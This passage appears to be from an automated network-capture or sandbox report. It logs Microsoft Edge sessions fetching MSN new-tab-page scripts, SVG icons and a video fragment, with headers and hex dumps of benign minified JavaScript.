s}return!!(this.data&&this.telemetryObject&&this.telemetryContext)}}Zt.cricketErrorsMapKey=Symbol("cricketErrorsMap");var ei=i(78125),ti=i(31558),ii=i(52965),ni=i(78324),oi=i(25921),si=i(68963),ai=i(67044),ri=i(87172),
2024-04-23 21:02:22 UTC	12	IN	Data Raw: 6e 3d 74 68 69 73 2e 72 65 66 0d 0a Data Ascii: n=this.ref
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5f 70 75 62 6c 69 73 68 65 72 5f 6c 69 73 74 2c 6f 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 50 75 62 6c 69 73 68 65 72 50 61 67 65 2c 73 3d 74 68 69 73 2e 70 75 62 6c 69 73 68 65 72 5f 6c 69 73 74 5f 69 6e 64 65 78 5f 61 72 72 2e 6c 65 6e 67 74 68 2d 31 29 3a 28 6e 3d 74 68 69 73 2e 72 65 66 5f 74 6f 70 69 63 5f 6c 69 73 74 2c 6f 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 54 6f 70 69 63 50 61 67 65 2c 73 3d 74 68 69 73 2e 74 6f 70 69 63 5f 6c 69 73 74 5f 69 6e 64 65 78 5f 61 72 72 2e 6c 65 6e 67 74 68 29 2c 6e 29 7b 63 6f 6e 73 74 20 65 3d 69 3f 6f 2b 31 3a 6f 2d 31 3b 65 3e 3d 30 26 26 65 3c 3d 73 26 26 28 74 3f 74 68 69 73 2e 63 75 72 72 65 6e 74 50 75 62 6c 69 73 68 65 72 50 61 67 65 3d 65 3a 74 68 69 73 2e 63 75 72 72 65 6e 74 Data Ascii: 00004000_publisher_list,o=this.currentPublisherPage,s=this.publisher_list_index_arr.length-1):(n=this.ref_topic_list,o=this.currentTopicPage,s=this.topic_list_index_arr.length),n){const e=i?o+1:o-1;e>=0&&e<=s&&(t?this.currentPublisherPage=e:this.current
2024-04-23 21:02:22 UTC	12	IN	Data Raw: 69 69 2e 5a 29 28 74 68 69 73 0d 0a Data Ascii: ii.Z)(this
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2e 70 75 62 6c 69 73 68 65 72 73 54 61 62 6c 65 29 29 7d 29 29 7d 29 29 2c 61 77 61 69 74 20 74 68 69 73 2e 66 65 74 63 68 46 6f 6c 6c 6f 77 65 64 43 68 61 6e 6e 65 6c 73 28 29 7d 6e 61 76 69 67 61 74 65 54 6f 28 65 29 7b 63 6f 6e 73 74 20 74 3d 6f 69 2e 4e 64 2e 67 65 74 52 6f 75 74 65 42 79 49 64 28 65 29 3b 69 66 28 74 2e 75 73 65 45 78 74 65 72 6e 61 6c 52 6f 75 74 69 6e 67 29 72 65 74 75 72 6e 20 64 2e 48 2e 73 65 74 28 64 2e 61 2e 43 75 72 72 65 6e 74 52 6f 75 74 65 2c 74 29 2c 76 6f 69 64 20 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 68 65 61 64 65 72 2d 72 6f 75 74 65 2d 63 68 61 6e 67 65 64 22 2c 7b 64 65 74 61 69 6c 3a 7b 72 6f 75 74 65 3a 74 7d Data Ascii: 00006000.publishersTable))}))})),await this.fetchFollowedChannels()}navigateTo(e){const t=oi.Nd.getRouteById(e);if(t.useExternalRouting)return d.H.set(d.a.CurrentRoute,t),void window.dispatchEvent(new CustomEvent("header-route-changed",{detail:{route:t}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49838	23.0.175.178	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	705	OUT	GET /1d6b80ab-342d-4031-8b17-fa7a415a779b/185e9ae8-e7e7-42c3-a20e-948d9a41b4bf.mp4 HTTP/1.1 Host: prod-streaming-video-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: video Referer: https://ntp.msn.com/ Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Range: bytes=753664-763446 If-Range: "0x8DAB04A5AB12E2A"
2024-04-23 21:02:22 UTC	552	IN	HTTP/1.1 206 Partial Content Pragma: IISMS/6.0,IIS Media Services Premium by Microsoft Content-Type: video/mp4 Content-MD5: pwyLFAr3EgWOUF9+BWfEPw== Last-Modified: Mon, 17 Oct 2022 14:17:42 GMT ETag: "0x8DAB04A5AB12E2A" Server: Microsoft-IIS/10.0 IISMS/6.0 X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Cache-Control: max-age=1658325 Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Range: bytes 753664-763446/763447 Content-Length: 9783 Connection: close Alt-Svc: h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43"
2024-04-23 21:02:22 UTC	9783	IN	Data Raw: bb dc 13 33 5e b8 1f 94 96 d2 92 44 a7 1c 7e f1 8f 75 4a e3 9d be be 3f 69 6f fe ca 82 04 59 75 e5 13 bf 4b a2 db d7 94 5a e7 11 d1 d1 5d 6e 62 44 d8 35 2a db f0 58 81 83 b7 6c a7 3c a2 86 6a 7c df 08 71 0b 30 80 dd 08 0b c3 93 68 33 7d e7 09 80 40 b4 33 49 d8 fc c7 32 a3 72 a4 2b 67 1a ce 94 bb 47 15 2c 9c 9c 86 9d 39 1a aa 81 12 b7 b1 56 35 65 d4 44 00 4a 73 de ba 7e d1 d6 c0 1f 92 15 d9 ce bf c1 1c 4e f4 12 b4 e5 03 17 e4 e7 ed 68 a3 2c e4 15 f1 22 15 b0 cb a7 3a 74 3b 6f d5 5d a9 f3 ad 74 40 c9 ef c6 4a 07 4e eb 7e 45 3c 04 0f 4f 42 ea 1b 3c 23 a2 7f 1a 19 5d fa 46 ab 2f 12 bf dd c3 b4 04 08 55 2b b1 4e 75 b9 7c 53 6f a7 4c 6a 7a 75 b5 56 cd 1f fa 58 e4 b8 d0 cf 5c bc bf 07 97 77 c2 d1 f0 fc 59 90 33 6f f5 53 43 eb b5 9e 4e 49 66 b1 3d b8 65 62 02 17 Data Ascii: 3^D~uJ?ioYuKZ]nbD5*Xl<j\|q0h3}@3I2r+gG,9V5eDJs~Nh,":t;o]t@JN~E<OB<#]F/U+Nu\|SoLjzuVX\wY3oSCNIf=eb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49839	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	633	OUT	GET /bundles/v1/edgeChromium/latest/edge-shopping.5219588f718ef6f70a47.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:22 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: VavxFVppFVuIoNSww1GTxw== Last-Modified: Wed, 17 Apr 2024 19:30:47 GMT ETag: 0x8DC5F14E1FFAC2C Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f905559d-701e-00a8-6efd-90f4c9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Length: 28720 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746370,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016c02 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016c02 Vary: Origin
2024-04-23 21:02:22 UTC	15230	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 65 64 67 65 2d 73 68 6f 70 70 69 6e 67 22 5d 2c 7b 38 30 30 36 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 45 64 67 65 53 68 6f 70 70 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 7d 2c 45 64 67 65 53 68 6f 70 70 69 6e 67 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 65 7d 2c 45 64 67 65 53 68 6f 70 70 69 6e 67 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["edge-shopping"],{80064:function(e,t,i){i.r(t),i.d(t,{EdgeShopping:function(){return I},EdgeShoppingStyles:function(){return me},EdgeShopping
2024-04-23 21:02:22 UTC	9346	IN	Data Raw: 48 65 61 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 38 44 34 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 33 70 78 3b 68 65 69 67 68 74 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 61 72 72 6f 77 54 65 78 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 2e 63 61 73 68 62 61 63 6b Data Ascii: Head{background-color:#0078D4;border-bottom-left-radius:3px;border-top-left-radius:3px;height:16px;line-height:16px;display:inline-block;position:relative}.arrowText{padding-left:2px;font-style:normal;font-weight:700;font-size:12px;color:#FFFFFF}.cashback
2024-04-23 21:02:22 UTC	4144	IN	Data Raw: 3e 65 2e 63 75 72 72 65 6e 74 53 68 6f 70 70 69 6e 67 44 61 74 61 7d 22 20 3a 72 65 6e 64 65 72 53 74 61 74 65 3d 22 24 7b 65 3d 3e 65 2e 72 65 6e 64 65 72 53 74 61 74 65 7d 22 20 3a 77 72 61 70 70 65 72 43 6f 6d 70 6f 6e 65 6e 74 3d 22 24 7b 65 3d 3e 28 7b 66 6c 79 6f 75 74 57 69 64 74 68 3a 65 2e 77 69 64 74 68 2c 6f 6e 43 6c 6f 73 65 64 3a 65 2e 6f 6e 43 6c 6f 73 65 64 2c 72 65 71 75 65 73 74 4f 70 65 6e 3a 65 2e 68 6f 76 65 72 46 6c 79 6f 75 74 4f 70 65 6e 2c 74 61 72 67 65 74 52 65 63 74 3a 65 2e 74 61 72 67 65 74 52 65 63 74 7d 29 7d 22 3e 3c 2f 65 64 67 65 2d 73 68 6f 70 70 69 6e 67 2d 63 61 72 64 3e 60 29 7d 0a 60 2c 67 65 3d 75 2e 64 79 60 0a 24 7b 65 3d 3e 65 2e 72 65 6e 64 65 72 53 74 61 74 65 3d 3d 70 2e 4e 6f 72 6d 61 6c 3f 63 65 3a 68 65 7d Data Ascii: >e.currentShoppingData}" :renderState="${e=>e.renderState}" :wrapperComponent="${e=>({flyoutWidth:e.width,onClosed:e.onClosed,requestOpen:e.hoverFlyoutOpen,targetRect:e.targetRect})}"></edge-shopping-card>`)}`,ge=u.dy`${e=>e.renderState==p.Normal?ce:he}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49843	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	812	OUT	GET /staticsb/statics/latest/common/icons/EditImageWhite.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
2024-04-23 21:02:22 UTC	1040	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: IqRHBXtocdBFyXNPrCLk5w== Last-Modified: Tue, 23 Apr 2024 10:16:03 GMT ETag: 0x8DC637E61E99355 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 0fb8d555-501e-0046-7a86-9543a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Length: 1269 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746470,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016c66 Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016c66 Vary: Origin
2024-04-23 21:02:22 UTC	1269	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 34 22 20 68 65 69 67 68 74 3d 22 31 33 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 34 20 31 33 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 34 34 30 35 20 34 2e 32 32 34 36 39 43 31 30 2e 34 34 30 35 20 34 2e 39 33 37 32 34 20 39 2e 38 36 32 38 36 20 35 2e 35 31 34 38 37 20 39 2e 31 35 30 33 31 20 35 2e 35 31 34 38 37 43 38 2e 34 33 37 37 36 20 35 2e 35 31 34 38 37 20 37 2e 38 36 30 31 32 20 34 2e 39 33 37 32 34 20 37 2e 38 36 30 31 32 20 34 2e 32 32 34 36 39 43 37 2e 38 36 30 31 32 20 33 2e 35 31 32 31 34 20 38 2e 34 33 37 37 36 20 32 2e 39 33 34 35 20 39 2e 31 35 30 33 31 20 32 2e 39 33 34 Data Ascii: <svg width="14" height="13" viewBox="0 0 14 13" xmlns="http://www.w3.org/2000/svg"> <path d="M10.4405 4.22469C10.4405 4.93724 9.86286 5.51487 9.15031 5.51487C8.43776 5.51487 7.86012 4.93724 7.86012 4.22469C7.86012 3.51214 8.43776 2.9345 9.15031 2.934

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49844	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	807	OUT	GET /staticsb/statics/latest/common/icons/PlayWhite.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D
2024-04-23 21:02:22 UTC	1039	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: ptFWth+IERLdRjW0dY7G+Q== Last-Modified: Tue, 23 Apr 2024 10:16:28 GMT ETag: 0x8DC637E70992310 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4ea7d390-b01e-000c-5fa2-959ea7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Content-Length: 550 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746477,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016c6d Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016c6d Vary: Origin
2024-04-23 21:02:22 UTC	550	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 33 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 33 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 36 30 39 32 20 35 2e 36 34 34 34 38 43 31 31 2e 34 39 39 38 20 36 2e 31 33 34 33 39 20 31 31 2e 34 39 39 38 20 37 2e 34 31 33 32 31 20 31 30 2e 36 30 39 32 20 37 2e 39 30 33 31 32 4c 32 2e 30 31 30 35 35 20 31 32 2e 36 33 33 43 31 2e 31 35 30 36 39 20 31 33 2e 31 30 36 20 30 2e 30 39 38 31 34 34 35 20 31 32 2e 34 38 34 34 20 30 2e 30 39 38 31 34 34 35 20 31 31 2e 35 30 33 37 4c 30 2e 30 39 38 31 34 35 20 32 2e 30 34 33 39 31 43 30 2e 30 39 38 31 34 35 20 Data Ascii: <svg width="12" height="13" viewBox="0 0 12 13" xmlns="http://www.w3.org/2000/svg"> <path d="M10.6092 5.64448C11.4998 6.13439 11.4998 7.41321 10.6092 7.90312L2.01055 12.633C1.15069 13.106 0.0981445 12.4844 0.0981445 11.5037L0.098145 2.04391C0.098145

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49841	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	506	OUT	GET /bundles/v1/edgeChromium/latest/background-gallery.b1efaf97a3eef2197024.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:22 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: WQw4plE3XCSXvQpIpuit0g== Last-Modified: Thu, 18 Apr 2024 20:59:14 GMT ETag: 0x8DC5FEA67E7021C Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 042135ba-101e-0082-1ed3-916bef000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402746478,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016c6e Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016c6e Vary: Origin
2024-04-23 21:02:22 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 62 61 63 6b 67 72 6f 75 6e 64 2d 67 61 6c 6c 65 72 79 22 5d 2c 7b 36 32 36 38 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 69 2e 72 28 65 29 2c 69 2e 64 28 65 2c 7b 42 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 7d 2c 42 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["background-gallery"],{62684:function(t,e,i){i.r(e),i.d(e,{BackgroundGallery:function(){return M},BackgroundGalleryStyles:function(
2024-04-23 21:02:22 UTC	9395	IN	Data Raw: 20 30 3a 69 2e 63 6d 73 69 6d 61 67 65 5f 74 69 74 6c 65 73 29 7d 60 7d 7d 29 3b 63 6f 6e 73 74 20 6f 3d 62 2e 70 2e 67 65 74 4c 69 6b 65 41 6e 64 44 69 73 6c 69 6b 65 43 61 63 68 65 42 79 54 79 70 65 28 63 2e 77 49 2e 69 6d 61 67 65 44 69 73 6c 69 6b 65 73 29 2c 61 3d 74 68 69 73 2e 67 65 74 41 63 74 69 76 65 42 61 63 6b 67 72 6f 75 6e 64 49 6e 64 65 78 42 79 42 61 63 6b 67 72 6f 75 6e 64 54 79 70 65 28 22 43 4d 53 49 6d 61 67 65 22 29 3b 66 6f 72 28 6c 65 74 20 74 3d 30 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 73 3b 69 66 28 6f 2e 68 61 73 28 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 7c 7c 61 3d 3d 74 7c 7c 65 5b 74 5d 2e 72 65 6d 6f 76 65 43 6f 6e 74 65 6e 74 29 63 6f 6e 74 69 6e 75 65 3b 63 6f 6e 73 74 20 6e 3d 28 74 68 69 73 2e 62 Data Ascii: 0:i.cmsimage_titles)}`}});const o=b.p.getLikeAndDislikeCacheByType(c.wI.imageDislikes),a=this.getActiveBackgroundIndexByBackgroundType("CMSImage");for(let t=0;t<e.length;t++){var s;if(o.has(t.toString())\|\|a==t\|\|e[t].removeContent)continue;const n=(this.b
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 43 6c 61 73 73 4e 61 6d 65 73 28 29 2c 65 3d 74 68 69 73 2e 72 65 66 5f 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 73 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 74 29 2c 69 3d 65 26 26 65 2e 6c 65 6e 67 74 68 3b 69 66 28 69 3c 3d 30 29 7b 63 6f 6e 73 74 20 74 3d 74 68 69 73 2e 69 72 69 73 42 61 63 6b 67 72 6f 75 6e 64 42 75 74 74 6f 6e 3b 72 65 74 75 72 6e 20 76 6f 69 64 28 74 26 26 74 2e 63 6c 69 63 6b 28 29 29 7d 63 6f 6e 73 74 20 6f 3d 65 5b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 69 29 5d 2c 61 3d 6f 2e 6f 66 66 73 65 74 54 6f 70 2d 31 36 3b 74 68 69 73 2e 72 65 66 5f 69 6d 61 67 65 53 65 6c 65 63 74 69 6f 6e 53 65 63 74 69 6f 6e 2e 73 63 72 6f 6c 6c 54 6f 28 7b 74 6f 70 3a Data Ascii: 00006000ClassNames(),e=this.ref_backgroundImages.querySelectorAll(t),i=e&&e.length;if(i<=0){const t=this.irisBackgroundButton;return void(t&&t.click())}const o=e[Math.floor(Math.random()*i)],a=o.offsetTop-16;this.ref_imageSelectionSection.scrollTo({top:
2024-04-23 21:02:22 UTC	8204	IN	Data Raw: 69 6f 6e 22 29 7d 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 53 65 6c 65 63 74 69 6f 6e 41 72 65 61 20 67 61 6c 6c 65 72 79 53 6d 61 6c 6c 4d 61 72 67 69 6e 22 20 24 7b 28 30 2c 45 2e 69 29 28 22 72 65 66 5f 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 73 22 29 7d 3e 3c 66 6c 75 65 6e 74 2d 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 42 75 74 74 6f 6e 20 75 70 6c 6f 61 64 42 61 63 6b 67 72 6f 75 6e 64 42 75 74 74 6f 6e 22 20 40 63 6c 69 63 6b 3d 24 7b 74 3d 3e 74 2e 6f 6e 43 6c 69 63 6b 5f 75 70 6c 6f 61 64 42 61 63 6b 67 72 6f 75 6e 64 28 29 7d 20 74 69 74 6c 65 3d 22 24 7b 74 3d 3e 74 2e 73 74 72 69 6e 67 73 2e 75 70 6c 6f 61 64 65 64 42 61 63 6b 67 72 6f 75 6e 64 54 6f 6f 6c 74 69 70 7d 22 20 61 72 Data Ascii: ion")}><div class="imageSelectionArea gallerySmallMargin" ${(0,E.i)("ref_backgroundImages")}><fluent-button class="backgroundImageButton uploadBackgroundButton" @click=${t=>t.onClick_uploadBackground()} title="${t=>t.strings.uploadedBackgroundTooltip}" ar
